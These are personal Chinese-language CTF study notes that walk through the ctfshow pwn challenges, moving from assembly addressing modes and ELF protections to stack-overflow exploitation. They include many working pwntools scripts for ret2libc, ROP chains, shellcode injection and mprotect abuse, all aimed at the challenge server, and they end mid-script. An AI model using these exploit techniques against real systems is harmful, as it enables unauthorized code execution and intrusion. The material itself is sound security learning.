致谢

  • 感谢sq学长、My6n、Ambb1、Claire_cat的笔记
  • 感谢sq学长的帮助

pwn入门

Test_your_nc

pwn0【待】

alt text

  • 通过打开容器后获得命令,在finalshell通过手动输入信息成功ssh连上
  • 注意:虚拟机开启NAT模式才能连上,更改模式后重启才生效
    alt text
  • pwd指令查看当前目录
  • ls发现当前目录下没东西
  • cd /回到上一级目录
  • ls发现当前目录下有文件ctfshow_flag
  • cat ctfshow_flag得到 flag

pwn1

  • chmod 777 pwn给附件加权限
  • checksec pwn查看附件信息,64 位
    alt text
  • wp要ida看但其实试运行一遍还有题目都提示nc链接,容器给的命令直接复制黏贴就好了
    alt text

pwn2

  • 加权限-查信息-运行-nc连接-shell输入代码
  • system(bin/sh)就是给shell??

pwn4

alt text

  • 反编译程序理解-shell获得

前置基础

pwn5

  • 题目:
    • 运行此文件,将得到的字符串以ctfshow{xxxxx}提交。
    • 如:运行文件后 输出的内容为 Hello_World
    • 提交的flag值为:ctfshow{Hello_World}
    • 注:计组原理题型后续的flag中地址字母大写
  • 。。我能说我shift+F12出来了吗

下载附件在虚拟机打开
chmod 777 Welcome_to_CTFshow给附件加权限
checksec Welcome_to_CTFshow查看附件信息,32 位,小端
./Welcome_to_CTFshow运行附件,其中%是换行标识
则 flag 为<font style=\”color:rgb(33, 37, 41);\”>ctfshow{Welcome_to_CTFshow_PWN}
还是再来 ida 里分析一下附件,F5反编译程序
系统调用输出 dword_80490E8 地址后的 0x16 个字节,即 22 个字符,点进该地址继续观察,该地址下是十六进制数据 636c6557 ,右键选择(或光标放在该数据上按 R)可以转化为字符串形式,即为 cleW
由于是小端序,0x636c6557的低位 0x57 先输出接着是 0x65………
所以输出为 Welc
再接上后面的内容正好 22 字符

  • 复刻

alt text

alt text

  • void __noreturn start(): 这行定义了一个函数 start(),它没有参数,并且声明为不返回任何值。函数名前的 void 表示函数不返回任何值,__noreturn 是一个函数属性,表示该函数不会返回,因此编译器不会生成函数返回的代码。
  • int v0; // eax 和 int v1; // eax: 这两行声明了两个整型变量 v0 和 v1,它们用来存储系统调用的返回值。
  • v0 = sys_write(1, &dword_80490E8, 0x16u);: 这行调用了 sys_write 系统调用,用于将数据写入文件描述符为 1 的文件(标准输出)。第一个参数 1 表示标准输出文件描述符,第二个参数 &dword_80490E8 是一个字符串的地址,第三个参数 0x16u 表示要写入的字符数量(22个字符)。sys_write 的返回值(成功写入的字符数)被存储在变量 v0 中。
  • v1 = sys_exit(0);: 这行调用了 sys_exit 系统调用,用于退出程序。参数 0 表示程序正常退出。sys_exit 函数不会返回,但是在一些编译器中,需要将其返回值存储在一个变量中。这里将其存储在变量 v1 中,但实际上并没有使用这个返回值。
  • 我双击的是\x16,应该是因为默认把数据变字符串了,如果没自动变也可以用A快捷键
  • dd后为小端序,但db后是字符串
    • dd (Define Double-word):把 4 个字节当作“一个整体”
      • 类型 :它定义的是一个 32位整数 (Integer) 。
      • 受端序影响 :是。
    • db (Define Byte):把数据当作“一串独立的字节”
      • 类型 :它定义的是 字节数组 (Array of Bytes) 或 字符串 。
      • 受端序影响 : 否 。

pwn6

  • 立即寻址方式结束后eax寄存器的值为?
  • asm文件是汇编文件,可以直接用记事本查看内容
; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1

pwn7

  • 寄存器寻址方式结束后edx寄存器的值为?
  • 知识点:寄存器寻址方式:指操作数直接为寄存器的寻址方式
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

pwn8

  • 直接寻址方式结束后ecx寄存器的值为?
; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
  • ida看

alt text

  • 和网上wp的汇编代码略有不同
mov ecx, dword ptr aWelcomeToCtfsh
  • ai分析:
    • ecx :这是 目的地。 ecx 是一个 32 位的通用寄存器(Counter Register),这里被用作存放数据的容器。
    • dword ptr (Double Word Pointer) :这是 取多少数据 。
      • ptr 是指针的意思,指向内存中的某个位置。
      • dword (Double Word) 表示 4个字节 (32位)。
      • 合起来的意思是: “请去内存里抓取 4 个字节的数据” 。
    • aWelcomeToCtfsh :这是源地址 。
      • 这只是 IDA Pro 给内存地址起的一个 名字(标签) ,为了让你好记。
      • 它代表了字符串 “Welcome_to_CTFshow_PWN” 在内存中存放的 起始地址 。

pwn9

  • 寄存器间接寻址方式结束后eax寄存器的值为?
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
  • 加了方括号,是告诉处理器要从寄存器 esi 指向的地址中读取数据,因此,这行代码的作用是将 esi 所指向的地址中的数据加载到 eax 寄存器中。
  • 知识点:寄存器间接寻址:在寄存器间接寻址中,操作数存放在内存里,而寄存器中存储的是该操作数在内存中的地址,寄存器间接寻址是把这个寄存器中存着的操作数赋值给现在这个第二寄存器
  • 豆包:offset dword_80490E8 就是获取变量 dword_80490E8 的偏移地址,在 32 位系统中这个偏移地址就是该变量的实际内存地址。
  • esi存储的是这个地址,然后寄存器间接寻址把这个地址的内容0x636C6557拿出来给 eax 了

alt text

  1. 取消定义(Undefine) :
    • 按下键盘上的 U 键。
    • 这会把当前定义的数据“炸碎”,变成一堆原始的字节(通常显示为 db 且只有单个字节)。
  2. 重新定义为双字(Make Dword) :
    • 确保光标还在 080490E8 这个起始位置。
    • 按下键盘上的 D 键。
    • 按第一次,它可能变成 db (byte)。
    • 按第二次,变成 dw (word)。
    • 按第三次 ,它就会变成 dd (dword) 。
      此时,原本显示的 ‘Welc’ 就会变成十六进制数值 636C6557h
  3. 重新回到 ‘Welc’:A

pwn10

  • 寄存器相对寻址方式结束后eax寄存器的值为?
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax

alt text

  • ???这回不用Uddd是因为类型是db吗【对】

pwn11

  • 基址变址寻址方式结束后的eax寄存器的值为?
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax

alt text

  • 答案和上题一样

pwn12

  • 相对基址变址寻址方式结束后eax寄存器的值为?
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

alt text

内存寻址方式:确定访问内存存储单元偏移地址的方式称为寻址方式。

  • 直接寻址:[偏移地址]
  • 寄存器间接寻址:[基址寄存器/变址寄存器]
  • 寄存器相对寻址:[基址寄存器/变址寄存器+偏移量值]
  • 基址变址寻址:[基址寄存器+变址寄存器]
  • 相对基址变址寻址:[基址寄存器+变址寄存器+偏移量值]

pwn13

alt text

pwn14

  • 直接搞太麻烦了丢虚拟机用gcc
echo "CTFshow">key
gcc flag.c -o flag
./flag

pwn15

  • 编译汇编代码到可执行文件,即可拿到flag
nasm -f elf32 XXX.asm -o XXX.o
ld -m elf_i386 XXX.o -o XXX
gdb XXX
run

pwn16

  • 后缀为.s的文件通常表示它是汇编语言源文件
gcc -o flag flag.s
chmod 777 flag
./flag

alt text

  • 搞不明白为啥有个乱码【待】

pwn17

  • 有些命令好像有点不一样?
  • 不要一直等,可能那样永远也等不到flag
  • 超级奇怪我的显示根目录和所有搜到的wp都不一样

alt text

  • 放弃,记录下方法好了
  • 可以看见只有选项“ls”中存在代码漏洞 system 的参数 dest 可控,我们输入 /bin/sh 就可以获得交互式 shell
  • system(dest); 函数会将 dest 所代表的字符串作为系统命令来执行。当用户输入 /bin/sh 时,/bin/sh 会被拼接到 dest 中,然后 system 函数就会执行 /bin/sh 这条命令。在大多数 Unix 或类 Unix 系统中,/bin/sh 是默认的 shell 解释器,执行它就相当于启动了一个 shell 环境,从而让用户获得了交互式 shell,可以执行各种系统命令

直接 cat flag 文件
;cat ctfshow_flag 发现进入死循环,可能是因为输入太长溢出导致的
改为;cat ctf*其中*是通配符,文件名符合这个形式的都会被执行
得到 flag
;/bin/sh拿 shell 权限,再查看 flag
同样得到 flag

alt text

pwn18

alt text
alt text

pwn19

  • 查看伪代码,意思是建立了一个fork函数,只要输出不是0即执行if中语句
  • 但是输入nc函数后给我了一个shell,这表明直接就跳到了else语句中
  • 即fork函数初始值为0
  • 知识点:fork函数:fork系统调用用于创建一个新进程,称为子进程,它与进程(称为系统调用fork的进程)同时运行,此进程称为父进程。创建新的子进程后,两个进程将执行fork()系统调用之后的下一条指令。这是一种类似分支派生的概念,它们都运行到相同的地方,但每个进程都将可以开始它们自己的旅程。
  • fclose(_bss_start);表明关闭了输出流,与题目吻合
  • 先输入/bin/sh进入到那个shell里
  • 应该输出流被关闭了,所以要想办法绕过这个输出流
ls >&0
cat c* >&0
  • 通过重定向符>&0可以将命令的输出从默认的 stdout(文件描述符 1)重定向到标准输入 0。
  • 终端设备的双向性:
  • 在终端环境中,文件描述符 0(标准输入)、1(标准输出)、2(标准错误)均指向同一个终端设备。虽然 stdout 被关闭,但终端设备本身支持读写,因此通过 >&0 将输出写入文件描述符 0 时,仍能显示在终端上。
  • 此时输入ls >&0可以展开所有的目录文件
  • cat c* >&0:匹配所有以 c 开头的文件(如 catflag),将其内容输出到终端,于是ctfshow答案直接被显示出来了

pwn20

  • 题目:
    • 提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}
    • 例如 .got可写.got.plt表可写其地址为0x400820 0x8208820
    • 最终flag为ctfshow{1_1_0x400820_0x8208820}
    • 若某个表不存在,则无需写其对应地址
    • 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
  • 知识点:
    • .got
      • GOT(Global Offset Table)全局偏移表。这是链接器为外部符号填充的实际偏移表。
    • .plt
      • PLT(Procedure Linkage Table)程序链接表。作用是一个跳板,保存了某个符号在重定位表中的偏移量(用来第一次查找某个符号)和对应的.got.plt的对应的地址。它有两个功能,要么在.got.plt节中拿到地址,并跳转。要么当.got.plt没有所需地址的时候,触发链接器去找到所需的地址。
    • .got.plt
      • 这个是GOT专门为PLT准备的节。保存了重定位地址。.got.plt中的值是GOT的一部分。它包含上述PLT表所需地址(已经找到的和需要去触发的)。
    • .got和.got.plt是否可写与RELRO(ReLocation Read-Only, 是一种用于加强对 binary 数据段的保护的技术。)有关,这是linux系统下可执行文件的一种保护机制,它用于增强程序的安全性,特别是针对共享库的攻击。RELRO机制通过将部分ELF段标记为只读,防止攻击者利用全局偏移表(GOT)和过程链接表(PLT)进行攻击。规定如下:
当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。
当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。
当RELRO为No RELRO时,表示.got与.got.plt都可写。
  • readelf -S pwn

alt text

  • objdump -h pwn

alt text

  • ida:

alt text

  • checksec查看:

alt text
alt text

pwn21

  • 题目:
    • 提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}
    • 例如 .got可写.got.plt表可写其地址为0x400820 0x8208820
    • 最终flag为ctfshow{1_1_0x400820_0x8208820}
    • 若某个表不存在,则无需写其对应地址
    • 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
  • No canary found

alt text
alt text

pwn22

alt text
alt text

pwn23

alt text

  • 如果./pwn AAAAA
    • argv (Argument Vector) :是一个字符串数组,存放具体的参数内容
      • argv[0] = “./pwn” (程序名)
      • argv[1] = “AAAAA” (你输入的参数)
    • argc = 2:表示命令行参数的总个数

alt text
alt text

  • 这里将我们传进来的参数又复制给了变量dest
  • dest 空间是有限的,但是 strcpy 没有被限制长度,只要dest 中放不下参数src,也就是我们运行程序时后面跟的参数够长,就会造成缓冲区溢出,从而导致非法内存访问,既11错误
  • 于是执行下面代码

alt text

pwn24

  • 你可以使用pwntools的shellcraft模块来进行攻击
  • Hint : NX disabled & Has RWX segments

alt text

  • 可以看到多出了一个 RWX: Has RWX segments
  • 这意味着二进制文件中存在至少一个段(通常是代码段),它同时拥有读、写、执行权限
from pwn import *  # 导入 pwntools 库中的所有函数和类
context.log_level = 'debug' # 设置 pwntools 的日志级别为调试模式
# p = process('./pwn') # 本地连接
p = remote('pwn.challenge.ctf.show', 28234) # 远程连接
payload = asm(shellcraft.sh()) # 使用 pwntools 的 shellcraft 模块生成一个 shellcode,并使用 asm 函数将其汇编成二进制指令
p.sendline(payload) # 发送 payload 到远程连接
p.interactive() # 与远程连接进行交互
  • 拿到shell
  • ida分析:

alt text

pwn25

  • 开启NX保护,或许可以试试ret2libc
  • NX(或 DEP,Data Execution Prevention)将数据区域(如栈、堆)标记为不可执行,防止攻击者将 shellcode 写入栈/堆后直接跳转执行

alt text

  • 好像说这题需要知识有点多我后面再来做
  • 来了来了嘿嘿嘿

alt text

  • 噢所以是开启NX保护,动态,所以可以试试ret2libc

alt text

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28264)
elf = ELF("./pwn")
main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
payload = cyclic(0x88 + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x88 + 0x4) + p32(system) + cyclic(4) + p32(binsh)
p.sendline(payload)
p.interactive()
  • 和pwn45一模一样。。。

pwn26

栈溢出

pwn35

  • pwn23一模一样

pwn36

  • 存在后门函数,如何利用?

alt text
alt text

  • 后门地址:08048586

alt text

from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28291)
padding=0x28+4
backdoor=0x08048586
payload=b"a"*padding+p32(backdoor)
io.send(payload)
io.interactive()

alt text

pwn37

  • 32位的 system(“/bin/sh”) 后门函数给你

alt text
alt text

from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28200)
padding=0x12+4
backdoor=0x08048521
payload=b"a"*padding+p32(backdoor)
io.send(payload)
io.interactive()

alt text

pwn38

  • 64位的 system(“/bin/sh”) 后门函数给你

alt text

alt text
alt text

  • 一种方法
    alt text
from pwn import *
context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28229)
padding=0xA+8
backdoor=0x400658
payload=b"a"*padding+p64(backdoor)
io.send(payload)
io.interactive()
  • 另一种:多搞一个ret返回地址
    • 纯 ret,不改变任何寄存器,只抬 rsp,最安全
      alt text
    • call命令
      alt text
      alt text
from pwn import *
context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28229)
padding=0xA+8
backdoor=0x400657
ret=0x40066D
payload=b"a"*padding+p64(ret)+p64(backdoor)
io.send(payload)
io.interactive()

pwn39

  • 32位的 system(); “/bin/sh”

alt text

alt text

alt text
alt text
alt text

  • 注意这里才是system地址

alt text

  • system:080483A0
  • /bin/sh:08048750

alt text

  • 0x12+4
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28223)
padding=0x12+4
system_addr=0x080483A0
binsh=0x08048750
payload=b"a"*padding+p32(system_addr)+p32(0)+p32(binsh)
io.send(payload)
io.interactive()

pwn40

  • 好久之前做的,但当时仅复刻wp罢了
    • 参考1参考2;参考3:sq-wp
    • 注意:exp.py有基于容器修改点(好蠢的笔记但保留下哈哈哈哈哈)
from pwn import *
context.log_level = 'debug'
p = remote('152.32.191.198', 33778) # 容器域名+端口
payload = b'a'*(0xA+8) + p64(0x4007e3) + p64(0x400808) + p64(0x4004fe) + p64(0x400520)
p.sendline(payload)
p.interactive()
  • 按顺序做到这里了哈哈哈哈开心
  • 题目:64位的 system(); “/bin/sh”

alt text

alt text

  • 找pop_rdi:
ROPgadget --binary "pwn" --only "pop|ret"

alt text

from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28294)
padding=0xA+8
systemaddr=0x0400520
pop_rdi=0x004007e3
ret=0x004004fe
binsh=0x0400808
payload=b"a"*padding+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(systemaddr)
io.send(payload)
io.interactive()

pwn41+42

  • 32/64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代

alt text

  • 环境给了的

pwn43

  • 32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

alt text
alt text
alt text
alt text

  • 栈溢出
  • padding=0x6C+4
  • get_addr=08048420

alt text

  • 反正就是x加上shift+F12一通乱找找到_system在左边的就是
  • system=0x08048450

alt text

  • ret=0x080483f2

alt text

gdb pwn43
break main
run
vmmap

alt text

  • 只看file是文件pwn的,0x804b000-c000可写

alt text
alt text

  • buf2=0804B060
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28299)

padding=0x6C+4
get_addr=0x08048420
system=0x08048450
buf2=0x0804B060

payload=b"a"*padding+p32(get_addr)+p32(system)+p32(buf2)+p32(buf2)
# 这边先构造栈溢出,溢出之后马上返回gets函数的地址,然后当gets函数执行完之后会返回到system函数
# 后边俩buf2的地址,前一个是告诉gets,写到这边
# 后一个是告诉system,读这个
io.sendline(payload)
io.sendline("/bin/sh") # 给gets的东西
io.interactive()

pwn44

  • 64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

alt text
alt text

  • 所以NX→找pop_rdi:
ROPgadget --binary "pwn" --only "pop|ret"

alt text

  • pop_rdi=0x00000000004007f3
  • ret=0x00000000004004fe

alt text

  • padding=0xA+8

alt text

  • system=0x00400520

alt text

  • get=0x00400530

alt text
alt text

  • buf2=0x00602080
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28302)

padding=0xA+8
get=0x00400530
system=0x00400520
buf2=0x00602080
pop_rdi=0x00000000004007f3
ret=0x00000000004004fe

payload=b"a"*padding+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(get)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(system)

io.sendline(payload)
io.sendline("/bin/sh") # 给gets的东西
io.interactive()

pwn45

  • 32位 无 system 无 “/bin/sh”

alt text

  • 开启 NX 保护,部分开启 RELRO 保护
  • 没有system没有/bin/sh的时候就要puts泄露libc
  • 得到puts的实际地址只需要两样东西:puts_plt和puts_got

当puts被调用时,puts_plt会把puts函数的地址储存在puts_got中,所以直接把puts_got作为puts_plt的参数使用,puts函数就会把自己的函数地址打印出来

from pwn import *
from LibcSearcher import *
# LibcSearcher 用于根据泄露的 libc 地址自动匹配 libc 版本
p = remote("pwn.challenge.ctf.show",28151)
elf = ELF("./pwn")# 加载本地二进制文件 pwn,用于获取符号地址

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
# 第一次 payload:泄露 libc 地址
payload = cyclic(0x6B + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
# 0x4 是覆盖旧的ebp
p.sendline(payload)

puts = u32(p.recvuntil("\xf7")[-4:])
# 接收输出,提取 puts 的 libc 地址。
# "\xf7" 是 libc 地址的高字节(典型 libc 地址以 0xf7 开头)。
# [-4:] 取最后 4 字节,即 puts 的地址(因为内存地址小端序储存)

libc = LibcSearcher("puts",puts)
# 根据泄露的 puts 地址,自动匹配 libc 版本

libc_base = puts - libc.dump("puts")
# 计算 libc 基址。
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
# 根据偏移计算 system 和 /bin/sh 字符串的地址。
# 第二次 payload:执行 system("/bin/sh")
payload = cyclic(0x6B + 0x4) + p32(system) + cyclic(4) + p32(binsh)
# cyclic(4):填充返回地址(system 的返回地址,随便填)
p.sendline(payload)
p.interactive()
# 进入交互模式,获取 shell

pwn46

  • 64位 无 system 无 “/bin/sh”

alt text

  • ROPgadget --binary "pwn" --only "pop|ret"

alt text

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28205)
elf = ELF("./pwn")

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
padding = 0x70+8

rdi = 0x0000000000400803
ret = 0x00000000004004fe


payload = b"a"*padding + p64(rdi) + p64(puts_got) + p64(ret) * 2 + p64(puts_plt) + p64(main)
# 调用 puts(puts_got),打印出 puts 的实际地址
# 返回 main,以便第二次溢出
p.sendline(payload)
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
# 接收输出,提取泄露的 puts 地址(\x7f 是 libc 地址的高字节标志)。
libc = LibcSearcher("puts",puts)
# 使用 LibcSearcher 根据 puts 地址查找对应的 libc 版本
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
# 计算 libc 基址 → 推出 system 和 /bin/sh 字符串地址。

payload = b"a"*padding + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# 设置 rdi = "/bin/sh" → 调用 system("/bin/sh")
p.sendline(payload)
p.interactive()
  • LibcSearcher 找到了多个匹配的 libc 版本,需要手动选择
    alt text

pwn47

  • ez ret2libc
  • 保护

alt text

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28177)
elf = ELF("./pwn")
main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
payload = cyclic(0x9C + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x9C + 0x4) + p32(system) + cyclic(4) + p32(binsh)
p.sendline(payload)
p.interactive()
  • 和pwn45无区别,就是多给了bin/sh,只要把脚本端口和padding改下就好

pwn48

  • 没有write了,试试用puts吧,更简单了呢

和上一题除了溢出大小就是一模一样…

  • 噢有点好笑

pwn49

  • 静态编译?或许你可以找找mprotect函数
  • 动态/静态编译判断:
    • ida
      • shift+F11
      • imports 超多 libc 函数 → 动态
      • imports 几乎为空 → 静态
    • file
      • statically linked:静态
      • dynamically linked + interpreter /lib/ld-linux.so.2:动态
    • checksec(本质上是通过一些检测机制来判断是否存在某种保护,这个检测机制有些时候是会有误报的)

alt text

  • ida里按shift+F7(可能9.0后换版本所以和大佬的不大一样)

alt text

alt text
alt text

  • padding=0x12+4
修改权限

又知道这一题让我们用mprotect(主要是一个拿来改保护属性的函数),既然能构造栈溢出了,那么mprotect可以给我们可写可读可执行的(7)能力,我们就能直接打shellcode了
先搜一下这个函数
alt text

  • mprotect=0x0806CDD0

三个参数分别对应开头地址、长度、修改的保护属性数字(0-7)
ctrl+s调出程序的段表

  • 又和大佬快捷键不一样:在 IDA 里你贴出来的窗口是 “Segments”(段)窗口,打开它的快捷键是:Shift + F7
  • 前面哪道题用过来着
    alt text

选择.got.plt作为更改的程序
因为这个.got.plt在程序加载时的地址是固定的(静态链接时确定)。攻击者可以提前知道目标函数(如 printf)的 GOT 条目在内存中的确切位置,这比在堆栈上寻找动态变化的地址要容易得多。
同时我们劫持 .got.plt后,不需要复杂的操作来触发执行流转向。你只需要等待程序正常地调用被你覆盖的那个库函数,劫持就会自动发生。
以这个会作为mprotect的第一个参数地址,got_plt=0x080DA000
然后长度我们写个0x1000,保证能写即可
最后保护属性当然是0x7了
这边注意我们要传三个参数,必须用一下pop寄存器,否则执行完这个函数会直接回到栈顶,无法读取三个参数
alt text
alt text

ROPgadget --binary pwn --only "pop|ret" | grep "pop edi ; pop esi ; pop ebx ; ret"
>>> 0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
读写执行

我们选一个read函数
read函数也是三个参数,所以需要再次调用pop那仨
read的三个参数分别代表着fd、buf、size
alt text
read地址:0x0806BEE0
pop地址:0x08056194
fd直接0读取就行
buf得是刚刚写的地方0x80DA000(.got.plt)
size就是大小,无所谓随便填大点就是了

于是我们可以构造payload:

  • 首先栈溢出、然后跳到mprotect的位置,接下来返回pop三个寄存器,然后把三个参数填入,成功修改0x80DA000地址的保护属性,可以写了
  • 然后我们去读取一下这个地方的内容,直接read,pop然后三个参数fd、buf,size,最后返回buf的地方
  • 现在程序会读这个地了,我们就需要构造shellcode传进去了
  • 这反而是最简单的一步了,我们只需要直接shellcode=asm(shellcraft.sh())就完事了
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
io=remote("pwn.challenge.ctf.show",28121)

padding=0x12+4
mprotect_addr=0x0806CDD0
pop_3=0x008061C3B
got_plt=0x080DA000
size=0x1000
prot=0x7

read_addr=0x0806BEE0
fd=0

shellcode=asm(shellcraft.sh())
#生成一个 32位 Linux 下的 shellcode,执行 /bin/sh
payload =b"a"*padding+p32(mprotect_addr)+p32(pop_3)+p32(got_plt)+p32(size)+p32(prot)
payload+=p32(read_addr)+p32(pop_3)+p32(fd)+p32(got_plt)+p32(size)+p32(got_plt)
#调用 read(0, got_plt, 0x1000),从标准输入读取 shellcode 到 .got.plt。
#pop_3 再次清理参数。
#最后一个 p32(got_plt) 是 read 返回后要跳转的地址,即 shellcode 的入口。
io.sendline(payload)
io.sendline(shellcode)

io.interactive()

pwn50

  • 好像哪里不一样了
  • 远程libc环境 Ubuntu 18

alt text
alt text

  • 回顾一下:NX(或 DEP,Data Execution Prevention)将数据区域(如栈、堆)标记为不可执行,防止攻击者将 shellcode 写入栈/堆后直接跳转执行
  • 所以NX→找pop_rdi:
ROPgadget --binary "pwn" --only "pop|ret"

alt text

  • pop_rdi=0x00000000004007e3
  • ret=0x00000000004004fe

alt text

  • 动态,可以用libc

alt text

  • padding = 0x20+8
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28115)
elf = ELF("./pwn")

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
padding = 0x20+8

rdi=0x00000000004007e3
ret=0x00000000004004fe


payload = b"a"*padding + p64(rdi) + p64(puts_got) + p64(ret) * 2 + p64(puts_plt) + p64(main)
# 调用 puts(puts_got),打印出 puts 的实际地址
# 返回 main,以便第二次溢出
p.sendline(payload)
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
# 接收输出,提取泄露的 puts 地址(\x7f 是 libc 地址的高字节标志)。
libc = LibcSearcher("puts",puts)
# 使用 LibcSearcher 根据 puts 地址查找对应的 libc 版本
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
# 计算 libc 基址 → 推出 system 和 /bin/sh 字符串地址。

payload = b"a"*padding + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# 设置 rdi = "/bin/sh" → 调用 system("/bin/sh")
p.sendline(payload)
p.interactive()

alt text

  • 太搞笑了我是虚拟机成功不了,本机可以

pwn51

  • I‘m IronMan
  • nc pwn.challenge.ctf.show 28170

alt text
alt text

  • 有意思

alt text

  • padding=0x6c+4

alt text

  • system=0x08048DC0
  • 找错了!!!

alt text

  • 字符串搜flag
  • 因为是system+cat…所以不能是平常_system的位置
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28170)
system=0x0804902E
padding=0x6c+4
payload=b"I"*padding+p32(system)

io.sendline(payload)
io.interactive()

pwn52

  • 迎面走来的flag让我如此蠢蠢欲动

alt text
alt text

  • padding=0x6C+4

alt text
alt text

  • flag=0x08048586
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28266)

padding=0x6C+4
flag_addr=0x08048586

payload=b"a"*padding+p32(flag_addr)+p32(0)+p32(876)+p32(877)
# p32(0)返回地址
io.sendline(payload)
io.interactive()

pwn53

  • 再多一眼看一眼就会爆炸

alt text

  • 动态+NX

  • 学习一下:

  • memcmp() 是 C 标准库中的一个函数,用于比较两个内存块的前 n 个字节。它的声明如下:
    int memcmp(const void *str1, const void *str2, size_t n);
  • 参数:
    • str1:指向第一个内存块的指针。
    • str2:指向第二个内存块的指针。
    • n:要比较的字节数。
  • 返回值:
    • 如果返回值 < 0,则表示 str1 小于 str2。
    • 如果返回值 > 0,则表示 str1 大于 str2。
    • 如果返回值 = 0,则表示 str1 等于 str2。

alt text

虽然没有开canary但是本题在ida打开看见他是模拟了canary的效果,不同的是他的是固定的canary,但是一样要爆破

  • 4u是 C 语言中的整数字面量写法,表示:值为 4 的 unsigned int 类型常量

  • 比较4字节,不同就返回!=0从而exit(1):立即终止当前进程,并把退出码设为-1

  • 源码分析:

    • s1 = global_canary;先把原始 canary 备份到局部变量s1
      | - while (n31 <= 31)最多读 31 个字节(留 1 字节给字符串结尾的 \0 或提前遇到 \n),31 来自 v2 只有 32 字节大,留一个字节兜底
    • read(0, (char *)v2 + n31, 1u);一次只读 1 字节,存到 v2 + n31
      • 第一个参数 0 → STDIN_FILENO:标准输入(键盘/管道/重定向)
      • 第三个参数是 1 → 只读 1 字节
    • if (*((char *)v2 + n31) == '\n') break;遇到回车就结束循环
    • __isoc99_sscanf(v2, "%d", &nbytes);把刚才攒在 v2 里的字符串按 %d 解析成整数,写进 nbytes
      • 第一个实参是 v2 → 源字符串
      • 格式串 “%d” → 十进制整数
    • read函数的漏洞栈溢出read(0, buf, nbytes);
      • 一次读 nbytes 字节,直接写进 buf
      • 如果前面输入的数字 >32,就能溢出到 v2nbytess1 甚至 canary、ret addr

在ctfshow函数我们发现v5=0,那么我们只要不输入回车(acii:10)可以一直往数组里面写入数据,然后它会把v2变成无符号形整数,
作为读入到buf的无符号类型的字节长度,那么我们可以输入-1来进行绕过,之后就是一直循环爆破canary了exp如下

alt text

from pwn import *
p = remote("pwn.challenge.ctf.show",28299)

canary = b''
